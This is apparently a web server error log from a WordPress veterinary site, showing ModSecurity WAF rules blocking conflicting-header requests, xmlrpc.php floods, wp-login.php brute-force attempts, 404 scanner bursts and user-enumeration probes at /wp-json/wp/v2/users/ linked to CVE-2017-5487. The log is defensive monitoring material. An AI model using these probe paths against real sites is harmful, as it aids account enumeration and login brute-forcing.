[Fri May 01 22:06:26.252008 2026] [:error] [pid 25320:tid 25332] [client 114.119.143.210:26025] [client 114.119.143.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/our-story"] [unique_id "afSzYlc3wJ-3-XaXB3oaiAAAAQk"], referer: https://vetstars.com.au/caring-approach
[Fri May 01 22:08:04.035289 2026] [:error] [pid 33791:tid 33811] [client 114.119.156.56:28583] [client 114.119.156.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/appointment/"] [unique_id "afSzxG9ixd-moLycM9ApywAAABE"], referer: https://vetstars.com.au/appointment
[Fri May 01 22:44:22.679198 2026] [:error] [pid 33791:tid 33811] [client 43.165.65.117:42564] [client 43.165.65.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afS8Rm9ixd-moLycM9A1KgAAABE"]
[Fri May 01 23:29:25.834119 2026] [:error] [pid 24995:tid 25020] [client 162.14.109.170:40640] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afTG1edJG9WB_Q_ne0vFiwAAAFU"]
[Sat May 02 03:13:52.927519 2026] [:error] [pid 56731:tid 56940] [client 200.119.180.158:26155] [client 200.119.180.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.119.180.158, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afT7cCV5Q-S_O6wQsBi8dwAAAAg"]
[Sat May 02 04:37:11.507345 2026] [:error] [pid 53436:tid 53516] [client 49.51.252.146:52448] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afUO969N0xp8fccVM0An5gAAAJE"]
[Sat May 02 09:35:42.101736 2026] [:error] [pid 53434:tid 53465] [client 43.153.10.83:38960] [client 43.153.10.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afVU7u9BXmRQcbfsxlwOuAAAABY"]
[Sat May 02 10:45:53.736914 2026] [:error] [pid 51950:tid 51999] [client 147.135.213.170:52274] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afVlYYoBJzYZ3RKUhdjZQQAAAlM"]
[Sat May 02 10:45:56.090166 2026] [:error] [pid 51950:tid 51993] [client 147.135.213.170:48030] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afVlZIoBJzYZ3RKUhdjZRwAAAk0"]
[Sat May 02 10:45:58.377751 2026] [:error] [pid 11894:tid 11905] [client 147.135.213.170:48036] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afVlZjHh6DQF1tkXIKyTTQAAAUg"]
[Sat May 02 10:46:00.937622 2026] [:error] [pid 52010:tid 52057] [client 147.135.213.170:48044] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afVlaAiR6wohDtdeJMCF_gAAAs4"]
[Sat May 02 10:46:03.333281 2026] [:error] [pid 52124:tid 52146] [client 147.135.213.170:48052] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afVlazjabaZ9NMm8eQtkLgAAA5E"]
[Sat May 02 10:46:05.745195 2026] [:error] [pid 52010:tid 52064] [client 147.135.213.170:48896] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afVlbQiR6wohDtdeJMCGCgAAAtU"]
[Sat May 02 10:46:08.282777 2026] [:error] [pid 52010:tid 52055] [client 147.135.213.170:48900] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afVlcAiR6wohDtdeJMCGDgAAAsw"]
[Sat May 02 10:46:10.681928 2026] [:error] [pid 53436:tid 53514] [client 147.135.213.170:48904] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afVlcq9N0xp8fccVM0Cb6wAAAI8"]
[Sat May 02 10:46:13.089410 2026] [:error] [pid 53436:tid 53522] [client 147.135.213.170:48910] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afVlda9N0xp8fccVM0Cb7QAAAJc"]
[Sat May 02 10:46:15.606779 2026] [:error] [pid 51950:tid 51998] [client 147.135.213.170:39194] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afVld4oBJzYZ3RKUhdjZVgAAAlI"]
[Sat May 02 10:46:18.128280 2026] [:error] [pid 51917:tid 51932] [client 147.135.213.170:39198] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afVleq7wZviJ7BgcCi_73AAAAc0"]
[Sat May 02 10:46:20.529482 2026] [:error] [pid 51917:tid 51930] [client 147.135.213.170:39210] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afVlfK7wZviJ7BgcCi_74AAAAcs"]
[Sat May 02 10:46:23.063341 2026] [:error] [pid 52010:tid 52048] [client 147.135.213.170:39214] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afVlfwiR6wohDtdeJMCGKAAAAsU"]
[Sat May 02 10:46:25.441973 2026] [:error] [pid 52010:tid 52045] [client 147.135.213.170:49452] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afVlgQiR6wohDtdeJMCGLgAAAsI"]
[Sat May 02 10:46:27.983204 2026] [:error] [pid 53435:tid 53472] [client 147.135.213.170:49456] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afVlg4Dmp7_z8QkjSzN0nQAAAEA"]
[Sat May 02 10:46:30.504698 2026] [:error] [pid 22846:tid 22865] [client 147.135.213.170:49458] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afVlhom1Ms03Mfhp3abNVwAAARE"]
[Sat May 02 10:46:33.038385 2026] [:error] [pid 52010:tid 52055] [client 147.135.213.170:49462] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afVliQiR6wohDtdeJMCGOAAAAsw"]
[Sat May 02 10:46:35.415620 2026] [:error] [pid 51950:tid 52000] [client 147.135.213.170:58386] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afVli4oBJzYZ3RKUhdjZXwAAAlQ"]
[Sat May 02 10:46:37.938879 2026] [:error] [pid 52010:tid 52055] [client 147.135.213.170:58390] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afVljQiR6wohDtdeJMCGQgAAAsw"]
[Sat May 02 10:46:40.456951 2026] [:error] [pid 52010:tid 52055] [client 147.135.213.170:58392] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afVlkAiR6wohDtdeJMCGTgAAAsw"]
[Sat May 02 10:46:42.974481 2026] [:error] [pid 53434:tid 53444] [client 147.135.213.170:58408] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afVlku9BXmRQcbfsxlwiUgAAAAE"]
[Sat May 02 12:00:17.685519 2026] [ssl:error] [pid 53436:tid 53521] [client 15.204.182.106:9206] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Sat May 02 12:31:26.871751 2026] [:error] [pid 22846:tid 22848] [client 114.119.156.56:28611] [client 114.119.156.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/appointment"] [unique_id "afV-Hom1Ms03Mfhp3abWzAAAAQA"], referer: https://vetstars.com.au/caring-approach
[Sat May 02 12:53:55.732511 2026] [ssl:error] [pid 53435:tid 53486] [client 15.204.182.106:33524] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Sat May 02 13:56:41.516998 2026] [:error] [pid 53435:tid 53492] [client 143.202.94.139:16940] [client 143.202.94.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.202.94.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afWSGYDmp7_z8QkjSzOBigAAAFQ"], referer: https://vetstars.com.au/
[Sat May 02 13:56:44.159151 2026] [:error] [pid 53434:tid 53460] [client 92.98.119.41:57890] [client 92.98.119.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.98.119.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afWSHO9BXmRQcbfsxlxDkAAAABE"], referer: https://vetstars.com.au/wp-login.php?action=register
[Sat May 02 14:16:15.085416 2026] [:error] [pid 52124:tid 52143] [client 104.234.19.86:26287] [client 104.234.19.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afWWrzjabaZ9NMm8eQtxSQAAA44"]
[Sat May 02 14:23:47.550143 2026] [:error] [pid 22846:tid 22864] [client 43.157.174.69:37768] [client 43.157.174.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afWYc4m1Ms03Mfhp3abfQAAAARA"]
[Sat May 02 14:49:03.841542 2026] [:error] [pid 11894:tid 11906] [client 34.82.0.93:54558] [client 34.82.0.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.82.0.93, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWeXzHh6DQF1tkXIKywJgAAAUk"]
[Sat May 02 15:31:09.583773 2026] [:error] [pid 53434:tid 53450] [client 8.231.173.153:65362] [client 8.231.173.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.231.173.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWoPe9BXmRQcbfsxlxZdAAAAAc"]
[Sat May 02 15:31:12.816840 2026] [:error] [pid 53434:tid 53451] [client 8.231.173.153:65362] [client 8.231.173.153] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "afWoQO9BXmRQcbfsxlxZeAAAAAg"]
[Sat May 02 15:31:12.981365 2026] [:error] [pid 53434:tid 53465] [client 8.231.173.153:65362] [client 8.231.173.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.231.173.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWoQO9BXmRQcbfsxlxZegAAABY"]
[Sat May 02 15:31:14.683453 2026] [:error] [pid 52124:tid 52147] [client 8.231.173.153:51463] [client 8.231.173.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.231.173.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWoQjjabaZ9NMm8eQt2XAAAA5I"]
[Sat May 02 15:31:16.312369 2026] [:error] [pid 53436:tid 53509] [client 8.231.173.153:55274] [client 8.231.173.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.231.173.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWoRK9N0xp8fccVM0C3BQAAAIo"]
[Sat May 02 15:31:17.993335 2026] [:error] [pid 51917:tid 51923] [client 8.231.173.153:60921] [client 8.231.173.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.231.173.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWoRa7wZviJ7BgcCi8lywAAAcQ"]
[Sat May 02 15:31:19.723609 2026] [:error] [pid 22846:tid 22872] [client 8.231.173.153:52390] [client 8.231.173.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.231.173.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWoR4m1Ms03Mfhp3abk9QAAARg"]
[Sat May 02 15:31:19.723790 2026] [:error] [pid 22846:tid 22872] [client 8.231.173.153:52390] [client 8.231.173.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 8.231.173.153, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWoR4m1Ms03Mfhp3abk9QAAARg"]
[Sat May 02 15:53:28.446373 2026] [:error] [pid 52010:tid 52066] [client 34.135.163.138:59304] [client 34.135.163.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.163.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWteAiR6wohDtdeJMDNWAAAAtc"]
[Sat May 02 15:53:31.502862 2026] [:error] [pid 52010:tid 52051] [client 34.135.163.138:59304] [client 34.135.163.138] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "afWtewiR6wohDtdeJMDNXAAAAsg"]
[Sat May 02 15:53:31.735446 2026] [:error] [pid 52010:tid 52050] [client 34.135.163.138:59304] [client 34.135.163.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.163.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWtewiR6wohDtdeJMDNXQAAAsc"]
[Sat May 02 15:53:33.402573 2026] [:error] [pid 51917:tid 51925] [client 34.135.163.138:58726] [client 34.135.163.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.163.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWtfa7wZviJ7BgcCi8oHgAAAcY"]
[Sat May 02 15:53:35.152629 2026] [:error] [pid 51917:tid 51934] [client 34.135.163.138:56661] [client 34.135.163.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.163.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWtf67wZviJ7BgcCi8oIAAAAc8"]
[Sat May 02 15:53:36.890520 2026] [:error] [pid 52010:tid 52054] [client 34.135.163.138:53975] [client 34.135.163.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.163.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWtgAiR6wohDtdeJMDNZAAAAss"]
[Sat May 02 15:53:38.679282 2026] [:error] [pid 51917:tid 51935] [client 34.135.163.138:62503] [client 34.135.163.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.163.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWtgq7wZviJ7BgcCi8oIQAAAdA"]
[Sat May 02 15:53:38.679412 2026] [:error] [pid 51917:tid 51935] [client 34.135.163.138:62503] [client 34.135.163.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.135.163.138, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afWtgq7wZviJ7BgcCi8oIQAAAdA"]
[Sat May 02 16:03:44.193010 2026] [:error] [pid 11894:tid 11908] [client 216.24.219.46:35213] [client 216.24.219.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afWv4DHh6DQF1tkXIKy4bQAAAUs"]
[Sat May 02 16:24:30.244612 2026] [:error] [pid 51917:tid 51919] [client 216.24.219.56:47557] [client 216.24.219.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afW0vq7wZviJ7BgcCi8xAAAAAcA"]
